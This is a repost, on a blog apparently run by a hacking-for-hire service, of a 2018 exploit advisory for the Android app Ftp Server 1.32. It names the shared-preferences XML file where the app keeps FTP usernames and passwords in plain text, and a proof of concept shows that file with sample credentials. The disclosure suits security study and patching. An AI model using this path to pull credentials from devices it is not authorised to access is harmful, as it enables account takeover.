Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86371865

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Ftp Server 1.32 - Credential Disclosure
# Date: 2018-05-29
# Software Link: https://play.google.com/store/apps/details?id=com.theolivetree.ftpserver
# Version: 1.32 Android App
# Vendor: The Olive Tree
# Exploit Author: ManhNho
# CVE: N/A
# Category: Mobile Apps
# Tested on: Android 4.4

# Description
# Ftp Server 1.32 Insecure Data Storage, the result of storing confidential
# information insecurely on the system i.e. poor encryption, plain text, 
# access control issues etc. Attacker can find out username/password of valid user via
# /data/data/com.theolivetree.ftpserver/shared_prefs/com.theolivetree.ftpserver_preferences.xml

# PoC

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="prefPort">2221</string>
    <string name="prefPasivePort">2300-2399</string>
    <string name="prefUserpass">ManhNho</string>
    <boolean name="prefEnergySave" value="false" />
    <boolean name="prefShowHidden" value="false" />
    <boolean name="prefShowCredentials" value="true" />
    <string name="prefInterfaces">0</string>
    <string name="prefHomeDir">1</string>
    <string name="prefUsername">ManhNho</string>
    <boolean name="prefReadonly" value="false" />
    <boolean name="prefAnonymous" value="true" />
    <boolean name="prefForeground" value="true" />
</map>